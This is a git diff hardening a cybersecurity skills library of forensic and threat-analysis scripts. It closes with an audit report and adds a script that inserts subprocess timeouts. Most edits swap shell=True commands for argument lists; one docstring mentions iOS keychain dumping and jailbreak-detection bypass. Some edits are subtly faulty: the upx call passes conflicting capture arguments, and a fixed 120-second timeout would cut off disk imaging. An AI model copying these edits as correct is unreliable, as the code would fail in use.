MITRE technique IDs, accurate tool-specific CLI flags, proper library usage patterns, and real-world security concepts. The 4/30 boilerplate agent.py files and the frontmatter consistency suggest automated generation with manual or expert-guided prompting, but the output quality is genuinely high. + +### Is it production-safe? + +**No, with caveats.** It is safe as a reference/educational resource but not safe to deploy directly: + +1. **25 shell injection risks** (shell=True with interpolation) would be exploitable if scripts ever receive untrusted input +2. **178 disabled SSL verifications** and **33 missing timeouts** are not production-grade +3. **342 files accept file paths without sanitization** -- acceptable for CLI tools, dangerous in any other context +4. **36 offensive tools lack proper legal disclaimers** -- a liability concern +5. The code was designed as educational/reference material, not as production software + +**Bottom line:** This is a high-quality, well-researched cybersecurity skills library with real, verified content and no critical vulnerabilities. It needs targeted hardening (shell injection, timeouts, disclaimers) before any production or public-facing use, but it is fundamentally sound educational material -- not a security risk in its intended context. + +--- + +*Report compiled by auditor-15 from findings of all 14 specialized audit agents (14/14 tasks completed).* +*Audit completed: 2026-03-17* diff --git a/fix_timeouts.py b/fix_timeouts.py new file mode 100644 index 00000000..ee19477c --- /dev/null +++ b/fix_timeouts.py @@ -0,0 +1,140 @@ +#!/usr/bin/env python3 +"""Add missing timeout= parameter to subprocess calls in agent.py files.""" + +import glob +import re + + +def add_timeout_to_subprocess_calls(filepath): + """Add timeout=120 to subprocess.run/check_output/check_call calls missing it.""" + with open(filepath, "r", encoding="utf-8", errors="replace") as f: + content = f.read() + + original = content + fixes = 0 + + funcs = ["subprocess.run", "subprocess.check_output", "subprocess.check_call"] + + for func in funcs: + start = 0 + while True: + idx = content.find(func + "(", start) + if idx == -1: + break + + # Check if this line is a comment + line_start = content.rfind("\n", 0, idx) + 1 + line_prefix = content[line_start:idx].lstrip() + if line_prefix.startswith("#"): + start = idx + 1 + continue + + # Find matching closing paren with basic string tracking + paren_depth = 0 + pos = idx + len(func) + found_close = -1 + in_str = None + escape_next = False + + while pos < len(content): + ch = content[pos] + + if escape_next: + escape_next = False + pos += 1 + continue + + if ch == "\\": + escape_next = True + pos += 1 + continue + + if in_str is None: + if ch == '"' and content[pos:pos+3] == '"""': + in_str = '"""' + pos += 3 + continue + elif ch == "'" and content[pos:pos+3] == "'''": + in_str = "'''" + pos += 3 + continue + elif ch == '"': + in_str = '"' + elif ch == "'": + in_str = "'" + elif ch == "(": + paren_depth += 1 + elif ch == ")": + if paren_depth == 1: + found_close = pos + break + paren_depth -= 1 + else: + if in_str == '"""' and content[pos:pos+3] == '"""': + in_str = None + pos += 3 + continue + elif in_str == "'''" and content[pos:pos+3] == "'''": + in_str = None + pos += 3 + continue + elif in_str == '"' and ch == '"': + in_str = None + elif in_str == "'" and ch == "'": + in_str = None + + pos += 1 + + if found_close == -1: + start = idx + 1 + continue + + call_content = content[idx:found_close + 1] + + if "timeout" not in call_content: + # Insert timeout=120 before the closing paren + before_close = content[:found_close].rstrip() + after_close = content[found_close + 1:] + + # Determine indentation by looking at the line with the func call + func_line_start = content.rfind("\n", 0, idx) + 1 + indent = "" + for c in content[func_line_start:]: + if c in (" ", "\t"): + indent += c + else: + break + + # Check if call is multiline + call_text = content[idx:found_close] + if "\n" in call_text: + # Multiline: add timeout on new line with proper indent + content = before_close + ", timeout=120\n" + indent + ")" + after_close + else: + # Single line: add inline + content = content[:found_close] + ", timeout=120)" + after_close + + fixes += 1 + + start = idx + 1 + + if fixes > 0: + with open(filepath, "w", encoding="utf-8") as f: + f.write(content) + + return fixes + + +if __name__ == "__main__": + files = sorted(glob.glob("skills/*/scripts/agent.py")) + total_fixed = 0 + files_fixed = 0 + + for filepath in files: + n = add_timeout_to_subprocess_calls(filepath) + if n > 0: + total_fixed += n + files_fixed += 1 + print(f" Fixed {n} calls in {filepath}") + + print(f"\nTotal: {total_fixed} subprocess calls fixed across {files_fixed} files") diff --git a/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py b/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py index 76542bbc..2b3d5acc 100644 --- a/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py +++ b/skills/acquiring-disk-image-with-dd-and-dcfldd/scripts/agent.py @@ -1,17 +1,19 @@ #!/usr/bin/env python3 """Forensic disk image acquisition agent using dd and dcfldd with hash verification.""" +import shlex import subprocess import hashlib import os -import sys import datetime import json def run_cmd(cmd, capture=True): - """Execute a shell command and return output.""" - result = subprocess.run(cmd, shell=True, capture_output=capture, text=True) + """Execute a command and return output.""" + if isinstance(cmd, str): + cmd = shlex.split(cmd) + result = subprocess.run(cmd, capture_output=capture, text=True, timeout=120) return result.stdout.strip(), result.stderr.strip(), result.returncode @@ -65,16 +67,22 @@ def compute_hash(path, algorithm="sha256", block_size=65536): def acquire_with_dd(source, destination, block_size=4096, log_file=None): """Acquire a forensic image using dd with error handling.""" - cmd = ( - f"dd if={source} of={destination} bs={block_size} " - f"conv=noerror,sync status=progress" - ) - if log_file: - cmd += f" 2>&1 | tee {log_file}" + dd_cmd = [ + "dd", f"if={source}", f"of={destination}", + f"bs={block_size}", "conv=noerror,sync", "status=progress" + ] print(f"[*] Starting dd acquisition: {source} -> {destination}") print(f"[*] Block size: {block_size}") start = datetime.datetime.utcnow() - _, stderr, rc = run_cmd(cmd, capture=False) + if log_file: + dd_proc = subprocess.run(dd_cmd, capture_output=True, text=True, timeout=120) + combined = (dd_proc.stdout or "") + (dd_proc.stderr or "") + with open(log_file, "w") as lf: + lf.write(combined) + rc = dd_proc.returncode + else: + result = subprocess.run(dd_cmd, text=True, timeout=120) + rc = result.returncode elapsed = (datetime.datetime.utcnow() - start).total_seconds() print(f"[*] Acquisition completed in {elapsed:.1f} seconds (rc={rc})") return rc == 0 @@ -83,18 +91,21 @@ def acquire_with_dd(source, destination, block_size=4096, log_file=None): def acquire_with_dcfldd(source, destination, hash_alg="sha256", hash_log=None, error_log=None, block_size=4096, split_size=None): """Acquire a forensic image using dcfldd with built-in hashing.""" - cmd = f"dcfldd if={source} of={destination} bs={block_size} conv=noerror,sync" - cmd += f" hash={hash_alg}" + cmd = [ + "dcfldd", f"if={source}", f"of={destination}", + f"bs={block_size}", "conv=noerror,sync", + f"hash={hash_alg}", "hashwindow=1G", + ] if hash_log: - cmd += f" hashlog={hash_log}" - cmd += " hashwindow=1G" + cmd.append(f"hashlog={hash_log}") if error_log: - cmd += f" errlog={error_log}" + cmd.append(f"errlog={error_log}") if split_size: - cmd += f" split={split_size} splitformat=aa" + cmd.extend([f"split={split_size}", "splitformat=aa"]) print(f"[*] Starting dcfldd acquisition: {source} -> {destination}") start = datetime.datetime.utcnow() - _, stderr, rc = run_cmd(cmd, capture=False) + result = subprocess.run(cmd, text=True, timeout=120) + rc = result.returncode elapsed = (datetime.datetime.utcnow() - start).total_seconds() print(f"[*] dcfldd completed in {elapsed:.1f} seconds (rc={rc})") return rc == 0 diff --git a/skills/analyzing-active-directory-acl-abuse/SKILL.md b/skills/analyzing-active-directory-acl-abuse/SKILL.md index 7278aa61..b8c47e8c 100644 --- a/skills/analyzing-active-directory-acl-abuse/SKILL.md +++ b/skills/analyzing-active-directory-acl-abuse/SKILL.md @@ -9,6 +9,9 @@ author: mahipal license: Apache-2.0 --- + +# Analyzing Active Directory ACL Abuse + ## Overview Active Directory Access Control Lists (ACLs) define permissions on AD objects through Discretionary Access Control Lists (DACLs) containing Access Control Entries (ACEs). Misconfigured ACEs can grant non-privileged users dangerous permissions such as GenericAll (full control), WriteDACL (modify permissions), WriteOwner (take ownership), and GenericWrite (modify attributes) on sensitive objects like Domain Admins groups, domain controllers, or GPOs. diff --git a/skills/analyzing-active-directory-acl-abuse/scripts/agent.py b/skills/analyzing-active-directory-acl-abuse/scripts/agent.py index cd7ce858..e4c294d5 100644 --- a/skills/analyzing-active-directory-acl-abuse/scripts/agent.py +++ b/skills/analyzing-active-directory-acl-abuse/scripts/agent.py @@ -4,11 +4,8 @@ import argparse import json import struct -import sys -from collections import defaultdict from ldap3 import Server, Connection, ALL, NTLM, SUBTREE -from ldap3.protocol.formatters.formatters import format_sid DANGEROUS_MASKS = { diff --git a/skills/analyzing-api-gateway-access-logs/scripts/agent.py b/skills/analyzing-api-gateway-access-logs/scripts/agent.py index 2398df99..f77ed261 100644 --- a/skills/analyzing-api-gateway-access-logs/scripts/agent.py +++ b/skills/analyzing-api-gateway-access-logs/scripts/agent.py @@ -1,15 +1,12 @@ #!/usr/bin/env python3 """Agent for analyzing API Gateway access logs for security threats.""" -import os import re import json import argparse from datetime import datetime -from collections import defaultdict import pandas as pd -import numpy as np def load_api_logs(log_path): diff --git a/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md b/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md index a107e11b..d2899365 100644 --- a/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md +++ b/skills/analyzing-apt-group-with-mitre-navigator/SKILL.md @@ -36,7 +36,7 @@ ATT&CK catalogs over 140 threat groups with documented technique usage. Each gro The Navigator supports loading multiple layers simultaneously, allowing analysts to overlay threat actor TTPs against detection coverage to identify gaps, compare multiple APT groups to find common techniques worth prioritizing, and track technique coverage changes over time. -## Practical Steps +## Workflow ### Step 1: Query ATT&CK Data for APT Group diff --git a/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py b/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py index fe15f778..ec0bf880 100644 --- a/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py +++ b/skills/analyzing-apt-group-with-mitre-navigator/scripts/agent.py @@ -8,7 +8,6 @@ performs detection gap analysis, and generates threat-informed reports. import json import os import sys -import hashlib from collections import Counter try: diff --git a/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py b/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py index c591a0ed..1f0b36ab 100644 --- a/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py +++ b/skills/analyzing-bootkit-and-rootkit-samples/scripts/agent.py @@ -112,8 +112,11 @@ def analyze_boot_code(mbr_data): def run_volatility_rootkit_scan(memory_dump, plugin): """Run a Volatility 3 plugin for rootkit detection via subprocess.""" - cmd = f"vol3 -f {memory_dump} {plugin}" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + result = subprocess.run( + ["vol3", "-f", memory_dump, plugin], + capture_output=True, text=True, + timeout=120, + ) return result.stdout, result.stderr, result.returncode diff --git a/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py b/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py index 9ef8c4cc..b3efbe7e 100644 --- a/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py +++ b/skills/analyzing-browser-forensics-with-hindsight/scripts/agent.py @@ -10,8 +10,6 @@ import sys import json import sqlite3 import datetime -import hashlib -from collections import defaultdict def chrome_time_to_datetime(chrome_time): diff --git a/skills/analyzing-campaign-attribution-evidence/SKILL.md b/skills/analyzing-campaign-attribution-evidence/SKILL.md index 31e38c7f..a865fc2e 100644 --- a/skills/analyzing-campaign-attribution-evidence/SKILL.md +++ b/skills/analyzing-campaign-attribution-evidence/SKILL.md @@ -40,7 +40,7 @@ Campaign attribution analysis involves systematically evaluating evidence to det ### Analysis of Competing Hypotheses (ACH) Structured analytical method that evaluates evidence against multiple competing hypotheses. Each piece of evidence is scored as consistent, inconsistent, or neutral with respect to each hypothesis. The hypothesis with the least inconsistent evidence is favored. -## Practical Steps +## Workflow ### Step 1: Collect Attribution Evidence diff --git a/skills/analyzing-campaign-attribution-evidence/scripts/agent.py b/skills/analyzing-campaign-attribution-evidence/scripts/agent.py index 1a39e61a..ac5608f5 100644 --- a/skills/analyzing-campaign-attribution-evidence/scripts/agent.py +++ b/skills/analyzing-campaign-attribution-evidence/scripts/agent.py @@ -6,9 +6,6 @@ malware code similarity, timing patterns, and language artifacts. """ import json -import os -import sys -import hashlib import re from collections import defaultdict from datetime import datetime diff --git a/skills/analyzing-certificate-transparency-for-phishing/SKILL.md b/skills/analyzing-certificate-transparency-for-phishing/SKILL.md index 75b7a559..760dba63 100644 --- a/skills/analyzing-certificate-transparency-for-phishing/SKILL.md +++ b/skills/analyzing-certificate-transparency-for-phishing/SKILL.md @@ -36,7 +36,7 @@ Attackers register lookalike domains and obtain free certificates (often from Le crt.sh is a free web interface and PostgreSQL database operated by Sectigo that indexes CT logs. It supports wildcard searches (`%.example.com`), direct SQL queries, and JSON API responses. It tracks certificate issuance, expiration, and revocation across all major CT logs. -## Practical Steps +## Workflow ### Step 1: Query crt.sh for Certificate History diff --git a/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py b/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py index e4ea0943..7ff7597d 100644 --- a/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py +++ b/skills/analyzing-certificate-transparency-for-phishing/scripts/agent.py @@ -6,10 +6,7 @@ certificates, and identifies potential phishing infrastructure. """ import json -import os import sys -import re -from datetime import datetime from collections import defaultdict try: diff --git a/skills/analyzing-cloud-storage-access-patterns/SKILL.md b/skills/analyzing-cloud-storage-access-patterns/SKILL.md index 6fbfe950..5fab18c9 100644 --- a/skills/analyzing-cloud-storage-access-patterns/SKILL.md +++ b/skills/analyzing-cloud-storage-access-patterns/SKILL.md @@ -13,6 +13,9 @@ author: mahipal license: Apache-2.0 --- + +# Analyzing Cloud Storage Access Patterns + ## Instructions 1. Install dependencies: `pip install boto3 requests` diff --git a/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py b/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py index 5bb0aa8b..ec818c02 100644 --- a/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py +++ b/skills/analyzing-cloud-storage-access-patterns/scripts/agent.py @@ -21,7 +21,7 @@ def query_cloudtrail_s3_events(bucket_name, hours_back=24): "--start-time", start_time, "--output", "json", ] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) if result.returncode != 0: logger.error("CloudTrail query failed: %s", result.stderr[:200]) return [] diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md b/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md index cd2917ed..40a94043 100644 --- a/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md +++ b/skills/analyzing-cobalt-strike-beacon-configuration/SKILL.md @@ -37,7 +37,7 @@ The beacon configuration encodes the malleable C2 profile that dictates HTTP req Each Cobalt Strike license embeds a unique watermark (4-byte integer) into generated beacons. Extracting the watermark can link multiple beacons to the same operator or cracked license. Known watermark databases maintained by threat intelligence providers map watermarks to specific threat actors or leaked license keys. -## Practical Steps +## Workflow ### Step 1: Extract Configuration with CobaltStrikeParser diff --git a/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py b/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py index f008f1ab..4df373c1 100644 --- a/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py +++ b/skills/analyzing-cobalt-strike-beacon-configuration/scripts/agent.py @@ -8,9 +8,7 @@ communication settings, malleable C2 profile details, and watermark values. import struct import os import sys -import json import hashlib -import re from collections import OrderedDict # Cobalt Strike beacon configuration field IDs (Type-Length-Value format) diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/LICENSE b/skills/analyzing-cobalt-strike-malleable-profiles.bak/LICENSE similarity index 100% rename from skills/analyzing-cobalt-strike-malleable-profiles/LICENSE rename to skills/analyzing-cobalt-strike-malleable-profiles.bak/LICENSE diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/SKILL.md b/skills/analyzing-cobalt-strike-malleable-profiles.bak/SKILL.md similarity index 100% rename from skills/analyzing-cobalt-strike-malleable-profiles/SKILL.md rename to skills/analyzing-cobalt-strike-malleable-profiles.bak/SKILL.md diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/references/api-reference.md b/skills/analyzing-cobalt-strike-malleable-profiles.bak/references/api-reference.md similarity index 100% rename from skills/analyzing-cobalt-strike-malleable-profiles/references/api-reference.md rename to skills/analyzing-cobalt-strike-malleable-profiles.bak/references/api-reference.md diff --git a/skills/analyzing-cobalt-strike-malleable-profiles/scripts/agent.py b/skills/analyzing-cobalt-strike-malleable-profiles.bak/scripts/agent.py similarity index 100% rename from skills/analyzing-cobalt-strike-malleable-profiles/scripts/agent.py rename to skills/analyzing-cobalt-strike-malleable-profiles.bak/scripts/agent.py diff --git a/skills/analyzing-cobaltstrike-malleable-c2-profiles/scripts/agent.py b/skills/analyzing-cobaltstrike-malleable-c2-profiles/scripts/agent.py index 1c59e4e7..582d5d37 100644 --- a/skills/analyzing-cobaltstrike-malleable-c2-profiles/scripts/agent.py +++ b/skills/analyzing-cobaltstrike-malleable-c2-profiles/scripts/agent.py @@ -5,7 +5,6 @@ import argparse import json import re -import sys from collections import Counter from datetime import datetime from pathlib import Path diff --git a/skills/analyzing-command-and-control-communication/scripts/agent.py b/skills/analyzing-command-and-control-communication/scripts/agent.py index 9444e6ab..dcd09f5a 100644 --- a/skills/analyzing-command-and-control-communication/scripts/agent.py +++ b/skills/analyzing-command-and-control-communication/scripts/agent.py @@ -3,13 +3,12 @@ import statistics import base64 -import json import os import sys from collections import defaultdict try: - from scapy.all import rdpcap, IP, TCP, UDP, DNS, DNSQR, Raw + from scapy.all import rdpcap, IP, TCP, DNS, DNSQR HAS_SCAPY = True except ImportError: HAS_SCAPY = False diff --git a/skills/analyzing-cyber-kill-chain/scripts/agent.py b/skills/analyzing-cyber-kill-chain/scripts/agent.py index 58908e81..d1cef639 100644 --- a/skills/analyzing-cyber-kill-chain/scripts/agent.py +++ b/skills/analyzing-cyber-kill-chain/scripts/agent.py @@ -1,9 +1,6 @@ #!/usr/bin/env python3 """Cyber Kill Chain analysis agent for mapping incidents to Lockheed Martin kill chain phases.""" -import json -import os -import sys import datetime diff --git a/skills/analyzing-disk-image-with-autopsy/scripts/agent.py b/skills/analyzing-disk-image-with-autopsy/scripts/agent.py index 956e380a..4ad4819f 100644 --- a/skills/analyzing-disk-image-with-autopsy/scripts/agent.py +++ b/skills/analyzing-disk-image-with-autopsy/scripts/agent.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 """Forensic disk image analysis agent using The Sleuth Kit (TSK) command-line tools.""" +import shlex import subprocess import os import sys @@ -10,8 +11,10 @@ import datetime def run_cmd(cmd): - """Execute a shell command and return output.""" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + """Execute a command and return output.""" + if isinstance(cmd, str): + cmd = shlex.split(cmd) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return result.stdout.strip(), result.stderr.strip(), result.returncode @@ -93,9 +96,15 @@ def list_deleted_files(image_path, offset): def recover_file(image_path, offset, inode, output_path): """Recover a file by inode using icat.""" - cmd = f"icat -o {offset} {image_path} {inode} > {output_path}" - _, _, rc = run_cmd(cmd) - return rc == 0 + result = subprocess.run( + ["icat", "-o", str(offset), image_path, str(inode)], + capture_output=True, + timeout=120, + ) + if result.returncode == 0: + with open(output_path, "wb") as f: + f.write(result.stdout) + return result.returncode == 0 def get_file_metadata(image_path, offset, inode): @@ -106,26 +115,40 @@ def get_file_metadata(image_path, offset, inode): def create_bodyfile(image_path, offset, output_path): """Generate a TSK bodyfile for timeline creation.""" - cmd = f'fls -r -m "/" -o {offset} {image_path} > {output_path}' - _, _, rc = run_cmd(cmd) - return rc == 0 + result = subprocess.run( + ["fls", "-r", "-m", "/", "-o", str(offset), image_path], + capture_output=True, text=True, + timeout=120, + ) + if result.returncode == 0: + with open(output_path, "w") as f: + f.write(result.stdout) + return result.returncode == 0 def generate_timeline(bodyfile_path, output_csv, start_date=None, end_date=None): """Generate a timeline from a bodyfile using mactime.""" - cmd = f"mactime -b {bodyfile_path} -d" + cmd = ["mactime", "-b", bodyfile_path, "-d"] if start_date and end_date: - cmd += f" {start_date}..{end_date}" - cmd += f" > {output_csv}" - _, _, rc = run_cmd(cmd) - return rc == 0 + cmd.append(f"{start_date}..{end_date}") + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) + if result.returncode == 0: + with open(output_csv, "w") as f: + f.write(result.stdout) + return result.returncode == 0 def search_keywords(image_path, offset, keyword): """Search for keyword strings in the disk image.""" - cmd = f'srch_strings -a -o {offset} {image_path} | grep -i "{keyword}"' - stdout, _, rc = run_cmd(cmd) - return stdout.splitlines() if rc == 0 else [] + result = subprocess.run( + ["srch_strings", "-a", "-o", str(offset), image_path], + capture_output=True, text=True, + timeout=120, + ) + if result.returncode != 0 or not result.stdout: + return [] + keyword_lower = keyword.lower() + return [line for line in result.stdout.splitlines() if keyword_lower in line.lower()] def find_file_signature(image_path, offset, hex_signature): @@ -179,7 +202,8 @@ if __name__ == "__main__": if len(sys.argv) > 1: image = sys.argv[1] - case = sys.argv[2] if len(sys.argv) > 2 else "/tmp/autopsy_case" + import tempfile + case = sys.argv[2] if len(sys.argv) > 2 else os.environ.get("AUTOPSY_CASE_DIR", os.path.join(tempfile.gettempdir(), "autopsy_case")) if os.path.exists(image): analyze_image(image, case) else: diff --git a/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py b/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py index ad9a0cb2..4b9a61d8 100644 --- a/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py +++ b/skills/analyzing-dns-logs-for-exfiltration/scripts/agent.py @@ -2,11 +2,6 @@ """DNS exfiltration detection agent using entropy analysis and query pattern detection.""" import math -import os -import sys -import json -import csv -import datetime from collections import Counter, defaultdict diff --git a/skills/analyzing-docker-container-forensics/scripts/agent.py b/skills/analyzing-docker-container-forensics/scripts/agent.py index 5889da77..ed525bb9 100644 --- a/skills/analyzing-docker-container-forensics/scripts/agent.py +++ b/skills/analyzing-docker-container-forensics/scripts/agent.py @@ -1,6 +1,7 @@ #!/usr/bin/env python3 """Docker container forensics agent for investigating compromised containers.""" +import shlex import subprocess import json import os @@ -10,8 +11,10 @@ import datetime def run_cmd(cmd): - """Execute a shell command and return output.""" - result = subprocess.run(cmd, shell=True, capture_output=True, text=True) + """Execute a command and return output.""" + if isinstance(cmd, str): + cmd = shlex.split(cmd) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return result.stdout.strip(), result.stderr.strip(), result.returncode @@ -134,9 +137,13 @@ def detect_suspicious_files(changes): def export_container(container_id, output_path): """Export container filesystem as a tarball for offline analysis.""" - cmd = f"docker export {container_id} > {output_path}" - _, _, rc = run_cmd(cmd) - if rc == 0 and os.path.exists(output_path): + with open(output_path, "wb") as out_f: + result = subprocess.run( + ["docker", "export", container_id], + stdout=out_f, stderr=subprocess.PIPE, + timeout=120, + ) + if result.returncode == 0 and os.path.exists(output_path): sha256 = hashlib.sha256() with open(output_path, "rb") as f: for chunk in iter(lambda: f.read(65536), b""): diff --git a/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py b/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py index dc0201d0..9754f328 100644 --- a/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py +++ b/skills/analyzing-email-headers-for-phishing-investigation/scripts/agent.py @@ -8,7 +8,6 @@ import hashlib import os import sys import subprocess -import json from email import policy @@ -147,9 +146,10 @@ def extract_attachments(msg, output_dir=None): def dns_lookup(domain, record_type="TXT"): """Perform DNS lookup for SPF/DKIM/DMARC records.""" - cmd = f"dig {record_type} {domain} +short" - stdout, _, rc = subprocess.run(cmd, shell=True, capture_output=True, text=True, - timeout=10).stdout, "", 0 + stdout, _, rc = subprocess.run( + ["dig", record_type, domain, "+short"], + capture_output=True, text=True, timeout=10 + ).stdout, "", 0 return stdout.strip() if stdout else "" diff --git a/skills/analyzing-ethereum-smart-contract-vulnerabilities/scripts/agent.py b/skills/analyzing-ethereum-smart-contract-vulnerabilities/scripts/agent.py index 16458f11..dbd25080 100644 --- a/skills/analyzing-ethereum-smart-contract-vulnerabilities/scripts/agent.py +++ b/skills/analyzing-ethereum-smart-contract-vulnerabilities/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import logging import subprocess -import os from collections import defaultdict from datetime import datetime diff --git a/skills/analyzing-golang-malware-with-ghidra/SKILL.md b/skills/analyzing-golang-malware-with-ghidra/SKILL.md index 13a99cf1..7948dd9c 100644 --- a/skills/analyzing-golang-malware-with-ghidra/SKILL.md +++ b/skills/analyzing-golang-malware-with-ghidra/SKILL.md @@ -37,7 +37,7 @@ Despite stripping symbol tables, Go binaries retain function names within the pc Go's dependency management embeds module paths and version strings in the binary. Extracting these reveals the malware's third-party dependencies (HTTP libraries, encryption packages, C2 frameworks), which provides insight into capabilities without full reverse engineering. -## Practical Steps +## Workflow ### Step 1: Initial Binary Analysis diff --git a/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py b/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py index 37be7309..5eda1cb5 100644 --- a/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py +++ b/skills/analyzing-golang-malware-with-ghidra/scripts/agent.py @@ -5,7 +5,6 @@ Analyzes Go binaries to extract function names, strings, build metadata, package information, and detects common Go malware characteristics. """ -import struct import os import sys import json diff --git a/skills/analyzing-indicators-of-compromise/scripts/agent.py b/skills/analyzing-indicators-of-compromise/scripts/agent.py index 40804fa7..8c4d389c 100644 --- a/skills/analyzing-indicators-of-compromise/scripts/agent.py +++ b/skills/analyzing-indicators-of-compromise/scripts/agent.py @@ -3,9 +3,7 @@ import re import os -import sys import json -import hashlib import datetime try: @@ -69,7 +67,7 @@ def is_private_ip(ip): def query_virustotal_hash(sha256, api_key): """Query VirusTotal for a file hash.""" url = f"https://www.virustotal.com/api/v3/files/{sha256}" - resp = requests.get(url, headers={"x-apikey": api_key}) + resp = requests.get(url, headers={"x-apikey": api_key}, timeout=30) if resp.status_code == 200: data = resp.json().get("data", {}).get("attributes", {}) stats = data.get("last_analysis_stats", {}) @@ -88,7 +86,7 @@ def query_virustotal_hash(sha256, api_key): def query_virustotal_domain(domain, api_key): """Query VirusTotal for domain reputation.""" url = f"https://www.virustotal.com/api/v3/domains/{domain}" - resp = requests.get(url, headers={"x-apikey": api_key}) + resp = requests.get(url, headers={"x-apikey": api_key}, timeout=30) if resp.status_code == 200: data = resp.json().get("data", {}).get("attributes", {}) stats = data.get("last_analysis_stats", {}) @@ -107,7 +105,7 @@ def query_abuseipdb(ip, api_key, max_age_days=90): """Query AbuseIPDB for IP reputation.""" url = "https://api.abuseipdb.com/api/v2/check" resp = requests.get(url, headers={"Key": api_key, "Accept": "application/json"}, - params={"ipAddress": ip, "maxAgeInDays": max_age_days}) + params={"ipAddress": ip, "maxAgeInDays": max_age_days}, timeout=30) if resp.status_code == 200: data = resp.json().get("data", {}) return { @@ -125,7 +123,7 @@ def query_abuseipdb(ip, api_key, max_age_days=90): def query_malwarebazaar(sha256): """Query MalwareBazaar for file hash information.""" url = "https://mb-api.abuse.ch/api/v1/" - resp = requests.post(url, data={"query": "get_info", "hash": sha256}) + resp = requests.post(url, data={"query": "get_info", "hash": sha256}, timeout=30) if resp.status_code == 200: result = resp.json() if result.get("query_status") == "ok" and result.get("data"): diff --git a/skills/analyzing-ios-app-security-with-objection/scripts/agent.py b/skills/analyzing-ios-app-security-with-objection/scripts/agent.py index 69d9b5b6..e6ef52d7 100644 --- a/skills/analyzing-ios-app-security-with-objection/scripts/agent.py +++ b/skills/analyzing-ios-app-security-with-objection/scripts/agent.py @@ -7,9 +7,7 @@ keychain dumping, filesystem inspection, and jailbreak detection bypass. import subprocess import json -import os import sys -import re def run_objection(command, app_id=None, timeout=30): diff --git a/skills/analyzing-kubernetes-audit-logs/scripts/agent.py b/skills/analyzing-kubernetes-audit-logs/scripts/agent.py index 60450e99..96d3f970 100644 --- a/skills/analyzing-kubernetes-audit-logs/scripts/agent.py +++ b/skills/analyzing-kubernetes-audit-logs/scripts/agent.py @@ -1,7 +1,6 @@ #!/usr/bin/env python3 """Agent for analyzing Kubernetes audit logs for security threats.""" -import os import json import argparse from collections import defaultdict diff --git a/skills/analyzing-linux-audit-logs-for-intrusion/scripts/agent.py b/skills/analyzing-linux-audit-logs-for-intrusion/scripts/agent.py index 62e66024..7727e704 100644 --- a/skills/analyzing-linux-audit-logs-for-intrusion/scripts/agent.py +++ b/skills/analyzing-linux-audit-logs-for-intrusion/scripts/agent.py @@ -7,7 +7,6 @@ unauthorized file access, suspicious syscalls, and process execution anomalies. import argparse import json -import os import re import sys import datetime diff --git a/skills/analyzing-linux-elf-malware/scripts/agent.py b/skills/analyzing-linux-elf-malware/scripts/agent.py index 455eecd1..fe4f5606 100644 --- a/skills/analyzing-linux-elf-malware/scripts/agent.py +++ b/skills/analyzing-linux-elf-malware/scripts/agent.py @@ -6,12 +6,10 @@ import math import os import sys import subprocess -import struct from collections import Counter try: from elftools.elf.elffile import ELFFile - from elftools.elf.sections import SymbolTableSection HAS_ELFTOOLS = True except ImportError: HAS_ELFTOOLS = False @@ -85,9 +83,9 @@ def analyze_sections(filepath): def extract_strings(filepath, min_length=6): """Extract ASCII strings from the binary and categorize by type.""" stdout, _, rc = subprocess.run( - f"strings -n {min_length} {filepath}", shell=True, + ["strings", "-n", str(min_length), filepath], capture_output=True, text=True - ).stdout, "", 0 +, timeout=120).stdout, "", 0 if not stdout: return {} all_strings = stdout.strip().splitlines() @@ -126,8 +124,9 @@ def check_packing(filepath): indicators.append("UPX packer detected (UPX! magic)") if b"UPX0" in data or b"UPX1" in data: indicators.append("UPX section names found") - stdout, _, _ = subprocess.run(f"upx -t {filepath} 2>&1", shell=True, - capture_output=True, text=True).stdout, "", 0 + stdout, _, _ = subprocess.run(["upx", "-t", filepath], + capture_output=True, text=True, + stderr=subprocess.STDOUT, timeout=120).stdout, "", 0 if stdout and "packed" in stdout.lower(): 